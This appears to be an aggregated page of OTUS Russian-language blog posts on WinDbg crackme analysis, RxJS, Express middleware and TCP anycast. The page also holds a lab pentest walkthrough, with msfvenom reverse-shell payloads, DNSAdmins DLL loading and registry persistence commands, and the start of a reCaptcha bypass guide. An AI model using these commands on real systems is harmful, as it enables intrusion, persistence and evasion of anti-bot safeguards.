Русский
Русский
English
Статистика
Реклама

Блог компании otus

Использование Windbg для обратной разработки

16.06.2021 00:20:01 | Автор: admin

Статья представляет собой мануал по тому как пользоваться Windbg. Будет рассмотрена "классическая" версия отладчика. Настроим внешний вид и изучим команды, которые можно использовать для исследования приложения.

Установка

Установка возможна только при использовании Windows SDK. Версию для Windows 10 можно найти здесь. Для работы с отладчиком необходимо запустить процесс установки SDK и выбрать только опции с набором инструментов для отладки. Пример выбора представлен на снимке ниже.

После установки набора инструментов, можно найти все файлы в директории "Windows Kits". Отладчик устанавливается сразу для нескольких версий процессоров. Для выполнения дальнейших команд в мануале нужно выбирать соответствую исследуемому файлу архитектуру процессора. Для исследования возьмем вот этот файл и попробуем найти ключ. Перед началом исследования файла, рекомендуется сделать дополнительную настройку:

  • Установить директорию и сервер для отладочных символов Проще всего это сделать можно через меню: File->Symbol File Path. В открывшемся меню нужно прописать вот эту строку: "SRVC:\symbolshttp://msdl.microsoft.com/download/symbols". Затем создать директорию C:\symbols;

  • Установить WorkPlace с удобной раскладкой рабочих панелей. Взять готовый Workspace можно отсюда. В итоге, если запустить для теста notepad.exe в отладчике, он будет выглядеть вот так:

Теперь можно перейти к исследованию команд. Откроем в отладчике файл и приступим.

Набор команд и анализ приложения

Полный справочник по всем командам отладчика можно найти по команде ".hh". Появится справка, как на рисунке ниже. Здесь можно вводить описание или конкретную команду.

Любой набор команд, который можно представить просто списком не имеет большой полезности, поэтому все команды, которые будут описываться в статье, будут сопровождаться примером применения. Начнем с простого.

  1. Определим откуда начинается выполнение приложения. Если не вдаваться в подробности, то самое начало работы приложения это EntryPoint из заголовка файла, однако это не совсем так. EntryPoint для современных языков программирования сегодня это начало подготовительных операций для работы всего приложения. Поэтому если необходимо найти код, который был написан программистом, нам придется еще немного попутешествовать по дизасемблированному листингу.

Первая команда - lm. Показывает список модулей, которые загружены в память процесса, по выдаче этой команды можно получить базовый адрес файла.

Главные команды, которые станут глазами и ушами при исследовании данных в оперативной памяти - d? (b,c,a,p,w,q). Команда показывает дамп памяти по указанному адресу. Можно использовать конкретный адрес или регистр. Например, можно посмотреть как выглядит часть заголовка файла в памяти:

Команда !dh разбирает файл и показывает заголовки. Нам нужен файловый заголовок, поэтому добавим флаг -f. Если необходимо показать все данные о файловых и секционных заголовках, то можно не дополнять команду.

Как видно на рисунке, данные, которые выдает команда, могут быть использваны для локализации данных внутри файла.

Локализуем точку входа с помощью суммирования базового адреса и информации из заголовка. Выполнить эту опирацию можно рядом команд: ? - выполнение выражения, uf - дизассемблирование функции, bp - установка точки останова. А теперь по порядку на примере:

Расчет адреса.

Дизассемблирование функции от адреса до ret команды.

Установка точки останова, кстати, чтобы управлять точками останова, можно менять последнюю букву команды. На рисунке показан пример установки точки останова и просмотр списка существующих точек через команду bl.

Чтобы дойти до точки останова, можно ввести команду, которая используется для выполнения алгоритма приложения - g.

Как только алгоритм загрузчика ОС выполнит все подготовительные действия мы увидим в командной строке следующие данные:

Можно приступать к поиску функции main. Сделать это достаточно просто, необходимо локализовать константы из интерфейса файла, когда выполняется приветствие и запрос данных:

Для поиска данных будем использовать команду s. Эта команда проводит поиск по определенному в команде объему данных. Соответственно чтобы получить данные о местоположении приглашения к вводу ключа, нужно указать всё адресное пространство исследуемого приложения. Так же необходимо указать тип данных, которые нужно искать.

Теперь, когда мы знаем адрес данных, которые используются, мы можем поставить точку останова, которая будет следить за доступом к данным. Сделать это можно с помощью команды ba. Для такой точки останова нужно указывать размер данных за которыми отладчик будет наблюдать, а там же адрес и тип доступа. Адрес должен быть выровнен по границе в 4 байта. После становки снова нужно запустить приложение через команду g. На рисунке ниже показан вариант команды:

Когда сработает точка останова, нужно найти часть алгоритма приложения, которая печатает приветствие на экран. Для этого удобно использовать стек вызовов функций. Для этого можно выполнить команду k.

Из рисунка видно, что копирование строки для работы с ней выполняется библиотечной функцией, а её вызов был сделан из "For_Crackme+0x15f2".

2. Локализуем функцию проверки ключа. Функция проверки будет недалеко от предложения ввести данные пользователя. В прошлом этапе мы нашли смещение внутри функции до этой операции. Введем можифицированную команду uf - u для того чтобы посмотреть несколько команд после адреса "For_Crackme+0x15f":

Фрагмент кода не содержит дополнительных отладочных символов, поэтому просто просмотрим данные рядом:

  • offset For_Crackme+0x40a2

  • offset For_Crackme+0x40bb

Чтобы это сделать, используем команду db:

Похоже, что функция подготавливает данные для выдачи информации пользователю. Значит проверка ключа должна быть где-то рядом. Обратим внимание на 2 константы, которые помещаются в память через следующие команды:

...00401612 c744241c30372f31 mov     dword ptr [esp+1Ch],312F3730h0040161a c7442420302f3937 mov     dword ptr [esp+20h],37392F30h...

Если раскодировать константы, то мы получим вот такое значение: "07/10/97". Выполнить раскодирование может помочь команда .formats 312F3730h. Из списка форматов нас интересует Char или символьное представление. Стоит помнить, что данные в памяти хранятся в LittleEndian формате, поэтому если прочитать наоборот, то получатся данные необходимые для прохождения валидации.

Таким образом можно анализировать приложения с использованием Windbg и не прибегать к дополнительному инструментарию.


Статья написана в преддверии старта курса "Reverse-Engineering. Professional". Напоминаем о том, что завтра пройдет второй день бесплатного интенсива по теме "Пишем дампер процессов". Записаться на интенсив можно по ссылке ниже:

Подробнее..

Барахолка для Пентестера

17.06.2021 14:15:17 | Автор: admin

Цель статьи - собрать интересные инструменты, техники и команды, которые можно использовать для выполнения задач при проведении тестирования на проникновение. Краткий список того, что будет в этой статье:

  • Что такого с DNSAdmins?

  • Persistence

  • Можно ли обойтись без Bloodhound?

DNSAdmins

Тестирование на проникновение для сети, где работают сервисы Windows AD достаточно распространенная задача, которая стоит перед пентестером. Чтобы её успешно выполнить - найти все возможные недочёты в настройке и заполучить максимальные права, нужно проверить максимальное количество векторов атак.

Что такого с DNSAdmins? Представим, что у нас есть инфраструктура Windows AD, и нам нужно захватить базу пользователей, которые находятся на контроллере домена. Ситуацию будем воспроизводить на виртуальном стенде. Состав стенда:

  • Windows Server 2019 в стандартной настройке Windows AD, ip адрес: 192.168.1.172

  • Kali Linux в качестве атакующей машины, ip адрес: 192.168.1.3

Настройка стенда, начальные условия:

  • атакующий получает доступ к учётной записи, которая принадлежит группе DNSAdmins

  • у учетной записи жертвы включен удаленный доступ через WinRM;

Что такое DNSAdmins с точки зрения Windows AD? Информацию об этом можно найти здесь.

Группа, которая отвечает за функционирование сервиса DNS. Сервис достаточно важный для всей инфраструктуры. Дело в том, что любой объект, который существует в AD будет обрабатываться только после запроса к DNS серверу. Поэтому, если сервис скомпрометирован, можно заставить всю инфраструктуру работать так как нужно атакующему. Самыми разрушительными атаками могут стать атаки MiTM, которые могут быть проведены, если DNS сервис использует не верно сконфигурированный сетевой интерфейс IPv6. Для тех, кто интересуется этой атакой можно почитать подробности здесь.

Но что же будем использовать мы? Мы обратим сегодня внимание на то как сервис DNS работает со специальным механизмом, который описан здесь, как механизм процессинга эвентов и последовательностей. Механизм позволяет задействовать различные функции сервера от RPC механизмов до доступа к базе записей DNS. Во всех этих данных нас интересует обработка R_DnssrvOperation. Это старая функция, которая позволяет DNSAdmin пользователям загружать в память процесса сервиса DLL библиотеку. Эта библиотека не проходит механизма проверки и поэтому еэ можно попытаться использовать для получения максимальный привилегий в системе.

Атака производится в несколько этапов:

  • Генерация dll библиотеки. В этом этапе будем использовать msfvenom. Генерировать при этом лучше payload, который будет использовать максимально легковесный и простой шелл. В нашем случае это windows/shell/reverse_tcp. Команда для генерации следующая:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f dll -o test.dll

Доставлять библиотеку будем через http сервер. На Kali машине можно воспользоваться вот такой командой из директории, где лежит сгенерированная библиотека:

python3 -m http.server 7979
  • Скачиваем библиотеку на рабочее место пользователя DNSAdmin группы. В нашем случае это пользователь test3. Сделать это можно, например через команду в Powershell:

Invoke-WebRequest -URI "http://192.168.1.3:7979/test.dll -OutFile "C:\Users\test2\Desktop\test.dll"
  • Запускаем слушателя. Можно пользоваться модулем exploit/multi/handler. Предварительно его настроив, примерно так:

nc -lvp 4444
  • Запускаем атаку на машине жертвы. Для этого этапа нужно получить данные о пароле пользователя:

dnscmd.exe /config /serverlevelplugindll C:\Users\Test2\Desktop\test.dllsc stop dnssc start dns

В итоге, проверяем привилегии в полученном shell:

Persistence

После получения доступа к системе, не всегда есть возможность сделать стабильный доступ. Использование методов автоматизации тестирования на проникновения может привести к различным последствиям. От выхода из строя тетсируемой системы до ухода в перезагрузку. Чтобы была возможность снова получать доступ и делать это автоматически, можно воспользоваться механизмами закрепления.

Закрепление, обычно осуществляется за счет мест в ОС, которые используются для автоматического запуска команд и приложений. Как правило это системные приложения или сервисы. Рассмотрим один из них.

Добавление собственной dll в ветку реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors.

Метод использует механизм "Windows Print Spooler". Это механизм при старте системы запускает монитор, который указан в одноименном значении реестра. Так как запуск производится от имени пользователя "System", то и привилегии там получаются соответствующие. Для удобства использования механизма, можно в реестр прописывать не файл из локальной директории, а SMB шару.

Метод по шагам:

  • Создаём dll:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=6666 -f dll -o test.dll
  • открываем слушателя на Kali Linux:

sudo nc -lvvp 6666
  • расшариваем для доступа dll:

smbserver.py -smb2support test /root
  • добавляем в реестр dll:

wmic /node:192.168.1.10 /user:"lab\test2" /password:Qwerty!@ process call create "reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Slayer" /v "Driver" /d "\\192.168.1.3\test\test.dll" /t REG_SZ"
  • перезагружаем ОС и получаем доступ к системе.

Метод так же можно осуществить за счет выполнения от имени администратора файла, который будет собран из вот этого исходника:

#include <windows.h>int main(){    MONITOR_INFO_2 mon;    TCHAR name[14] = TEXT("MonitorSlayer");    TCHAR arch[12] = TEXT("Windows x64");    TCHAR dll[39] = TEXT("\\\\192.168.1.3\\test\\test.dll");    monitorInfo.pName = name;    monitorInfo.pEnvironment = arch;    monitorInfo.pDLLName = dll;    AddMonitor(NULL, 2, (LPBYTE)&mon);    return 0;}

Попробуйте теперь обратиться к SMB шаре. И запустить любую команду оттуда.

Можно ли обойтись без Bloodhound?

Bloodhound - инструмент для получения информации о инфраструктуре под управлением Windwos AD. Позволяет собирать информацию, которая может быть использована для нахождения особых привелегий, которые позволяют компрометировать систему.

Инструмент работает по всем известным механизмам для сбор данных об инфраструктуре:

  • ldap

  • kerberos

  • SMB

  • DCOM

  • RPC

Запросы формируются с учетом тех потребнойстей, которые были запрошены пользователем. Дополнительно к этому, инструмент способен собирать информацию об активных сессиях пользователей на машинах.

Инструмент довольно полезный, но что если нам не нужно запускать так много команд, и хочется собрать только точечную информацию об AD? Можно ли выполнить тоже самое? На самом деле да, но нужно уметь пользоваться инструментами для сбора информации. Рассматривать будем инструмент dnsquery.exe. Этот инструмент поставляется со специальным набором инструментов RSAT. Кстати, отправка запросов возможна только, если используется сессия от имени "System".

Схема использования инструмента следущая:

dsquery <тип объекта> <фильтры> <опции>

Типы объектов:

WildCard Computer Contact Group OU Site Server User Quota Partition

Пример выдачи запроса к поиску пользователей:

Пример выдачи запроса к поиску групп:

Таким образом можно производить сбор информации об объектах Windows AD. Остальные тесты предлагается выполнить читателю самостоятельно.


Статья подготовлена экспертом OTUS - Александром Колесниковым в преддверии старта курса "Пентест. Практика тестирования на проникновение"


Подробнее..

Перевод Кастомные операторы RxJS

10.06.2021 18:12:02 | Автор: admin

Библиотека RxJS благодаря широкому выбору операторов по праву считается крайне мощным инструментом в арсенале разработчика. В этом посте я хочу представить вам концепцию кастомных операторов RxJS с примерами реализации.

Библиотека RxJS благодаря широкому выбору операторов по праву считается крайне мощным инструментом в арсенале разработчика. Недавно я подготовил несколько самописных операторов, чтобы повысить удобство повторного использования некоторых комбинаций операторов. В этом посте я хочу представить вам концепцию кастомных операторов RxJS с примерами реализации.

Оператор идентификации

Оператор RxJS это всего лишь функция, которая берет некие наблюдаемые (observable) данные в качестве входных и возвращает результирующий поток. Следовательно, задача написания кастомного оператора RxJS сводится к написанию обычной функции JavaScript (TypeScript). Начнем с базового оператора идентификации (identity), который просто зеркалирует наблюдаемые исходные данные:

import { interval, Observable } from "rxjs";import { take } from "rxjs/operators";const source$ = interval(1000).pipe(take(3));function identity<T>(source$: Observable<T>): Observable<T> {  return source$;}const results$ = source$.pipe(identity);results$.subscribe(console.log);  // console output: 0, 1, 2

Далее напишем кастомный оператор с кое-какой элементарной логикой.

Оператор логирования

Следующий кастомный оператор выполняет побочное действие (логирует значения в консоли) для каждого значения исходного потока:

<>Copyimport { interval, Observable } from "rxjs";import { take, tap } from "rxjs/operators";const source$ = interval(1000).pipe(take(3));function log<T>(source$: Observable<T>): Observable<T> {  return source$.pipe(tap(v => console.log(`log: ${v}`)));}const results$ = source$.pipe(log);results$.subscribe(console.log);  // console output: log: 0, log: 1, log: 2

В основе результирующего потока лежат данные source$, которые видоизменяются посредством применения встроенных операторов в составе метода pipe.

Фабрика оператора

В некоторых сценариях для кастомного оператора полезно указать контекст. Для этого можно определить функцию, возвращающую оператор. Аргументы фабрики входят в лексическую область видимости оператора:

import { interval, Observable } from "rxjs";import { take, tap } from "rxjs/operators";const source$ = interval(1000).pipe(take(3));function logWithTag<T>(tag: string): (source$: Observable<T>) => Observable<T> {  return source$ =>    source$.pipe(tap(v => console.log(`logWithTag(${tag}): ${v}`)));}const results$ = source$.pipe(logWithTag("RxJS"));results$.subscribe(console.log);  // console output: logWithTag(RxJS): 0, logWithTag(RxJS): 1, logWithTag(RxJS): 2

Описание возвращаемого типа можно упростить, воспользовавшись функцией MonoTypeOperatorFunction библиотекиRxJS. Кроме того, с помощью статической функции pipe можно сократить определение оператора:

import { interval, MonoTypeOperatorFunction, pipe } from "rxjs";import { take, tap } from "rxjs/operators";const source$ = interval(1000).pipe(take(3));function logWithTag<T>(tag: string): MonoTypeOperatorFunction<T> {  return pipe(tap(v => console.log(`logWithTag(${tag}): ${v}`)));}const results$ = source$.pipe(logWithTag("RxJS"));results$.subscribe(console.log);  // console output: logWithTag(RxJS): 0, logWithTag(RxJS): 1, logWithTag(RxJS): 2

Другие полезные советы по RxJS можно почитать здесь.

Уникальная для наблюдателя лексическая область видимости

Функция фабрики оператора вызывается лишь один раз в момент определения потока. В результате у всех наблюдателей будет общая лексическая область видимости:

import { interval, MonoTypeOperatorFunction, pipe } from "rxjs";import { take, tap } from "rxjs/operators";const source$ = interval(1000).pipe(take(3));function tapOnce<T>(job: Function): MonoTypeOperatorFunction<T> {  let isFirst = true;  return pipe(    tap(v => {      if (!isFirst) {        return;      }      job(v);      isFirst = false;    })  );}const results$ = source$.pipe(tapOnce(() => console.log("First value emitted")));results$.subscribe(console.log);results$.subscribe(console.log);  // console output: First value emitted, 0, 0, 1, 1, 2, 2

Чтобы у каждого наблюдателя была уникальная лексическая область видимости, можно применить функцию defer:

import { defer, interval, MonoTypeOperatorFunction } from "rxjs";import { take, tap } from "rxjs/operators";const source$ = interval(1000).pipe(take(3));function tapOnceUnique<T>(job: Function): MonoTypeOperatorFunction<T> {  return source$ =>    defer(() => {      let isFirst = true;      return source$.pipe(        tap(v => {          if (!isFirst) {            return;          }          job(v);          isFirst = false;        })      );    });}const results$ = source$.pipe(tapOnceUnique(() => console.log("First value emitted")));results$.subscribe(console.log);results$.subscribe(console.log);  // console output: First value emitted, 0, First value emitted, 0, 1, 1, 2, 2

Другой способ решения задачи tapOnce рассматривается в одном из моих предыдущих постов.

Практические примеры

Оператор firstTruthy:

import { MonoTypeOperatorFunction, of, pipe } from "rxjs";import { first } from "rxjs/operators";const source1$ = of(0, "", "foo", 69);function firstTruthy<T>(): MonoTypeOperatorFunction<T> {  return pipe(first(v => Boolean(v)));}const result1$ = source1$.pipe(firstTruthy());result1$.subscribe(console.log);// console output: foo

Оператор evenMultiplied:

import { interval, MonoTypeOperatorFunction, pipe } from "rxjs";import { filter, map, take } from "rxjs/operators";const source2$ = interval(10).pipe(take(3));function evenMultiplied(multiplier: number): MonoTypeOperatorFunction<number> {  return pipe(    filter(v => v % 2 === 0),    map(v => v * multiplier)  );}const result2$ = source2$.pipe(evenMultiplied(3));result2$.subscribe(console.log);  // console output: 0, 6

Оператор liveSearch:

import { ObservableInput, of, OperatorFunction, pipe  } from "rxjs";import { debounceTime, delay, distinctUntilChanged, switchMap } from "rxjs/operators";const source3$ = of("politics", "sport");type DataProducer<T> = (q: string) => ObservableInput<T>;function liveSearch<R>(  time: number,  dataProducer: DataProducer<R>): OperatorFunction<string, R> {  return pipe(    debounceTime(time),    distinctUntilChanged(),    switchMap(dataProducer)  );}const newsProducer = (q: string) =>  of(`Data fetched for ${q}`).pipe(delay(2000));const result3$ = source3$.pipe(liveSearch(500, newsProducer));result3$.subscribe(console.log);  // console output: Data fetched for sport

Заключение

Типовые комбинации операторов RxJS можно вынести в кастомные операторы и многократно использовать их в будущем при реализации аналогичного функционала. Применение дженериков обеспечивает корректное приведение типов выходных значений, обрабатываемых в дальнейшей pipe-последовательности.

Живой пример: [смотрите в оригинале]

Надеюсь, вам понравился мой пост и вы узнали что-то новое.


Перевод материала подготовлен в рамках курса "JavaScript Developer. Professional". Если вам интересно узнать о курсе подробнее, приглашаем на день открытых дверей онлайн, где преподаватель расскажет о формате обучения и программе.

Подробнее..

Как работает Middleware в Express?

16.06.2021 00:20:01 | Автор: admin

Статья переведена. Ссылка на оригинал

Эта статья представляет собой адаптированный отрывок из книги "Express API Validation Essentials". Она научит вас полноценной стратегии валидации API, которую вы можете начать применять в своих Express-приложениях уже сегодня.

__________________

Документация Express говорит нам, что "приложение Express - это, по сути, серия вызовов функций middleware". На первый взгляд это звучит просто, но, честно говоря, промежуточное ПО может быть весьма запутанным. Вы, вероятно, задавались вопросом:

  • Где правильное место для добавления этого middleware в мое приложение?

  • Когда я должен вызвать функцию обратного вызова next, и что произойдет, когда я это сделаю?

  • Почему важен порядок использования middleware?

  • Как я могу написать свой собственный код для обработки ошибок?

Паттерн middleware является основополагающим при создании приложений на Express, поэтому вам необходимо хорошо понимать, что такое middleware и как оно работает.

В этой статье мы подробно рассмотрим паттерн промежуточного ПО (middleware). Мы также рассмотрим различные типы middleware Express и то, как эффективно сочетать их при создании приложений.

Шаблон Middleware

В Express Middleware - это определенный стиль функций, которые вы настраиваете для использования вашим приложением. Они могут выполнять любой код, который вам нравится, но обычно они заботятся об обработке входящих запросов, отправке ответов и обработке ошибок. Они являются строительными блоками каждого приложения Express.

Когда вы определяете маршрут в Express, функция-обработчик маршрута, которую вы указываете для этого маршрута, является функцией Middleware:

app.get("/user", function routeHandlerMiddleware(request, response, next) {    // execute something});

(Пример 1.1)

Middleware достаточно гибкое. Вы можете указать Express запускать одну и ту же функцию middleware для различных маршрутов, что позволит вам делать такие вещи, как общая проверка для разных конечных точек API.

Помимо написания собственных функций middleware, вы также можете установить стороннее middleware для использования в вашем приложении. В документации Express перечислены некоторые популярные модули middleware. На npm также доступен широкий спектр модулей middleware Express.

Синтаксис Middleware

Вот синтаксис функции middleware:

/** * @param {Object} request - Express request object (commonly named `req`) * @param {Object} response - Express response object (commonly named `res`) * @param {Function} next - Express `next()` function */function middlewareFunction(request, response, next) {    // execute something}

(Пример 1.2)

Примечание: Вы могли заметить, что я называю req как request, а res как response. Вы можете называть параметры своих промежуточных функций как угодно, но я предпочитаю использовать более четкие имена переменных, поскольку считаю, что так другим разработчикам легче понять, что делает ваш код, даже если они не знакомы с фреймворком Express.

Когда Express запускает функцию middleware, ей передаются три аргумента:

  • Объект запроса Express (обычно называемый req) - это расширенный экземпляр встроенного в Node.js класса http.IncomingMessage.

  • Объект ответа Express (обычно называемый res) - это расширенный экземпляр встроенного в Node.js класса http.ServerResponse.

  • Функция Express next() - После того как промежуточная функция выполнит свои задачи, она должна вызвать функцию next(), чтобы передать управление следующей промежуточной программе. Если вы передаете ей аргумент, Express принимает его за ошибку. Он пропустит все оставшиеся функции middleware, не обрабатывающие ошибки, и начнет выполнять middleware, которое обрабатывает ошибки.

  • Функции middleware не должны иметь значение return. Любое значение, возвращаемое промежуточным ПО, не будет использовано Express.

Два типа Middleware

Обычное промежуточное ПО (middleware)

Большинство функций Middleware, с которыми вы будете работать в приложении Express, являются тем, что я называю "простым" промежуточным ПО (в документации Express нет специального термина для них). Они выглядят как функция, определенная в приведенном выше примере синтаксиса middleware (пример 1.2).

Вот пример простой функции middleware:

function plainMiddlewareFunction(request, response, next) {    console.log(`The request method is ${request.method}`);    /**     * Ensure the next middleware function is called.     */    next();}

(Пример 1.3)

Middleware для обработки ошибок

  • Разница между middleware для обработки ошибок и обычным middleware заключается в том, что функции middleware для обработки ошибок задают четыре параметра вместо трех, т.е. (error, request, response, next).

Вот пример функции middleware для обработки ошибок:

function errorHandlingMiddlewareFunction(error, request, response, next) {    console.log(error.message);    /**     * Ensure the next error handling middleware is called.     */    next(error);}

(Пример 1.4)

Эта промежуточная функция обработки ошибок будет выполнена, когда другая промежуточная функция вызовет функцию next() с объектом ошибки, например.

function anotherMiddlewareFunction(request, response, next) {    const error = new Error("Something is wrong");    /**     * This will cause Express to start executing error     * handling middleware.     */    next(error);}

(Пример 1.5)

Использование middleware

Порядок настройки middleware очень важен. Вы можете применить их на трех различных уровнях в вашем приложении:

  • Уровень маршрута

  • Уровень маршрутизатора

  • Уровень приложения

Если вы хотите, чтобы маршрут (или маршруты) обрабатывал ошибки, которые он вызывает, с помощью middleware для обработки ошибок, вы должны добавить его после определения маршрута.

Давайте рассмотрим, как выглядит настройка middleware на каждом уровне.

На уровне маршрута

Это самый конкретный уровень: любое промежуточное ПО, которое вы настроите на уровне маршрута, будет работать только для этого определенного маршрута.

app.get("/", someMiddleware, routeHandlerMiddleware, errorHandlerMiddleware);

(Пример 1.6)

На уровне маршрутизатора

Express позволяет создавать объекты Router. Они позволяют вам ограничить использование middleware определенным набором маршрутов. Если вы хотите, чтобы одно и то же middleware выполнялось для нескольких маршрутов, а не для всех, то такие объекты могут быть очень полезны.

import express from "express";const router = express.Router();router.use(someMiddleware);router.post("/user", createUserRouteHandler);router.get("/user/:user_id", getUserRouteHandler);router.put("/user/:user_id", updateUserRouteHandler);router.delete("/user/:user_id", deleteUserRouteHandler);router.use(errorHandlerMiddleware);

(Пример 1.7)

На уровне приложения

Это наименее специфический уровень. Любое промежуточное ПО, настроенное на этом уровне, будет запущено для всех маршрутов.

app.use(someMiddleware);// define routesapp.use(errorHandlerMiddleware);

(Пример 1.8)

Технически вы можете определить несколько маршрутов, вызвать app.use(someMiddleware), затем определить несколько других маршрутов, для которых вы хотите запустить someMiddleware. Я не рекомендую такой подход, поскольку он приводит к запутанной и трудноотлаживаемой структуре приложения.

Вы должны настраивать middleware на уровне приложения только в случае крайней необходимости, а именно, если его действительно нужно запускать для каждого маршрута в вашем приложении. Каждая функция middleware, независимо от того, насколько она мала, требует определенного времени для выполнения. Чем больше функций middleware необходимо запустить для маршрута, тем медленнее будут выполняться запросы к этому маршруту. Это действительно увеличивается по мере роста вашего приложения и конфигурации с большим количеством middleware. Старайтесь по возможности ограничивать middleware уровнями маршрута или маршрутизатора.

Подведение итогов

В этой статье мы узнали о шаблоне middleware в Express. Мы также узнали о различных типах middleware и о том, как их можно комбинировать при создании приложения на Express.

Если вы хотите прочитать больше о middleware, в документации Express есть несколько руководств:

__________________

Эта статья представляет собой адаптированный отрывок из книги "Express API Validation Essentials". Она научит вас полной стратегии валидации API, которую вы можете начать применять в своих Express-приложениях уже сегодня.

__________________

Все коды на изображениях для копирования доступны здесь.

Статья переведена в преддверии старта курса "Node.js Developer". Всех, кто желает подробнее узнать о курсе и процессе обучения, приглашаем записаться на Demo Day курса, который пройдет 28 июня.

- ЗАПИСАТЬСЯ НА DEMO DAY КУРСА

Статья переведена. Ссылка на оригинал

Подробнее..

Перевод Локальный TCP Anycast это действительно сложно

17.06.2021 18:06:38 | Автор: admin

Pete Lumbis и Network Ninja в своих комментариях к моим записям, посвященным UCMP, упомянули интересный случай использования UCMP в центре обработки данных: а именно серверы anycast.

Вот типичный сценарий, который они упомянули: группа серверов, случайно подключенных к нескольким leaf-коммутаторам, предоставляет услугу на одном и том же IP-адресе (отсюда и происходит anycast).

Прежде чем вдаваться в подробности, давайте зададим себе простой вопрос: Работает ли это за пределами PowerPoint? Безусловно. Это идеальная конструкция для масштабируемой UDP-службы, такой как DNS, и крупные фермы DNS-серверов обычно строятся именно таким образом.


Сложности TCP Anycast

Действительно интересный вопрос: Работает ли это для сервисов TCP? Теперь мы подходим к действительно сложной части - поскольку spine и leaf-коммутаторы выполняют ECMP или UCMP в отношении anycast IP-адреса. Кто-то должен следить за назначениями сессий серверам, иначе весь хаос выйдет из-под контроля.

Обратите внимание, что, то, что мы здесь обсуждаем, полностью отличается от WAN anycast, который работает очень хорошо и широко используется. Практически невозможно оказаться в ситуации, когда у вас будут маршруты с равной стоимостью на два разных сайта в Интернете.

Легко понять, что эта конструкция работает в устойчивом состоянии. Коммутаторы в центрах обработки данных выполняют балансировку нагрузки по 5 кортежей; таким образом, каждый сеанс последовательно перенаправляется на один из серверов. Проблема решена... пока не произойдет отказ соединения или узла.

Потеря соединения и узла

Большинство серийных разработок ECMP используют хэш-бакеты (подробнее), и если количество next-hops (соседние маршрутизаторы) меняется из-за изменения топологии, хэш-бакеты переназначаются, отправляя большую часть трафика на сервер, который понятия не имеет, что с ним делать. Современные варианты реализации ECMP позволяют избежать этого с помощью согласованного хэширования. Согласованное хэширование позволяет избежать повторного вычисления хэш-бакетов после изменения топологии:

Хеш-бакеты для действительных next-hops не трогаются.

Недействительные хэш-бакеты (из-за недействительного next-hop) переназначаются на действительные next-hops.

Очевидно, что мы получим некоторый ненаправленный трафик, но эти сессии все равно безнадежно потеряны - они были подключены к серверу, который больше недоступен.

Добавление новых серверов

Самое интересное начинается, когда вы пытаетесь добавить сервер. Для этого коммутатор последнего хопа должен взять несколько бакетов из каждого действительного next-hop и назначить их новому серверу. Это очень трудно сделать, не нарушив работу сервера2. Даже ожидание того, пока бакет не станет нерабочим (подход балансировки нагрузки флоулетов), не помогает. Нерабочий бакет не означает, что нет активной TCP-сессии, использующей его.

И, наконец, ICMP: ICMP-ответы включают оригинальные номера портов TCP/UDP, но ни один аппаратный коммутатор не в состоянии копаться в пакете так глубоко, поэтому ICMP-ответ обычно отправляется на какой-то случайный сервер, который понятия не имеет, что с ним делать. Добро пожаловать в хаос PMTUD.

Обеспечить работу Локальный TCP Anycast

Значит ли это, что невозможно выполнить локальную балансировку нагрузки TCP anycast? Конечно, нет - каждый гипермасштабируемый центр обработки данных использует этот трюк для реализации масштабируемой балансировки нагрузки в сети. Инженеры Microsoft писали о своем решении в 2013 году, Fastly задокументировал свое решение в 2016 году, у Google есть Maglev, Facebook открыла Katran, мы знаем, что у AWS есть Hyperplane, но все, что мы получили из видеороликов re:Invent, - это потрясающая магия. На конференции Networking @Scale 2018 они рассказали еще несколько подробностей, но это все еще было на уровне Karman.

Вы можете сделать нечто подобное в гораздо меньшем масштабе с кластером firewalls или балансировкой нагрузки (при условии, что вашему поставщику удастся посчитать больше двух активных узлов), но производительность кластеров сетевых служб обычно далека от линейной - чем больше блоков вы добавляете в кластер, тем меньше производительности вы получаете с каждым дополнительным блоком - из-за обслуживания состояния кластера в целом.

Существует, по крайней мере, несколько программных решений с открытым исходным кодом, которые можно использовать для создания крупномасштабных служб anycast TCP. Если вы не чувствуете себя комфортно при использовании таких "горячих" новинок, как XDP, есть BalanceD от Demonware, использующий Linux IPVS.

С более академической стороны, есть Cheetah... и в радужном будущем мы, возможно, получим довольно оптимальное решение, напоминающее сеансовый уровень с Multipath TCP v1.

Для изучения


Прямо сейчас мы в OTUS запускаем специализацию Network Engineer. В связи с этим приглашаем всех желающих на демоурок по теме: "Технологии прошлого. RIP". В рамках урока рассмотрим протокол динамической маршрутизации RIP. Плюсы и минусы технологии. Разберем, почему не используется в продакшн, но где еще нужен, а также какие протоколы пришли ему на замену. Протокол RIP в своей простоте настроек и работы наглядно продемонстрирует логику работы протоколов динамической маршрутизации. Даст понимание о возможностях и необходимости использования такой маршрутизации.

Подробнее..

Перевод Как байпасить reCaptcha V3 с помощью Selenium Python?

10.06.2021 16:07:13 | Автор: admin

*bypass - обход

Мы будем использовать библиотеку python Selenium для байпаса google reCaptcha v3. Следуйте пошаговой инструкции, чтобы получить результат.

Для примера мы будем использовать демо-версию Google reCaptcha api.

Здесь ссылка: https://www.google.com/recaptcha/api2/demo

Сначала необходимо отключить настройку защиты контента в браузере Chrome.

Для этого зайдите в Настройки в Chrome. И напишите "настройки сайта" в строке поиска.

Перейдите в настройки сайта и найдите "Защищенный контент".

Перейдите к защищенному контенту и отключите его.

Теперь перейдем к части кодирования.

В этой статье мы будем работать с Python 3. Мы будем использовать две библиотеки. Если вы хотите настроить Selenium и узнать, как это сделать - изучите эту статью: https://medium.com/@mrabdulbasit1999/selenium-with-python-web-automation-f85dfa2e58fa

Двигаемся дальше,

Установите библиотеку Beautiful Soup для скрипта.

pip install beautifulsoup4

Откройте файл-скрипт и импортируйте в него упомянутые библиотеки.

from selenium import webdriverfrom selenium.webdriver.common.keys import Keysfrom webdriver_manager.chrome import ChromeDriverManagerfrom selenium.webdriver.common.by import Byfrom http_request_randomizer.requests.proxy.requestProxy import RequestProxyimport os, sysimport time,requestsfrom bs4 import BeautifulSoup

Установите "delayTime" и "audioToTextDelay" в соответствии с вашей скоростью интернета. Установленные значения работают для всех.

delayTime = 2audioToTextDelay = 10

byPassUrl - это URL, на который вам нужно ориентироваться. Опция используется для выбора драйвера chrome, и ей передаются некоторые аргументы.

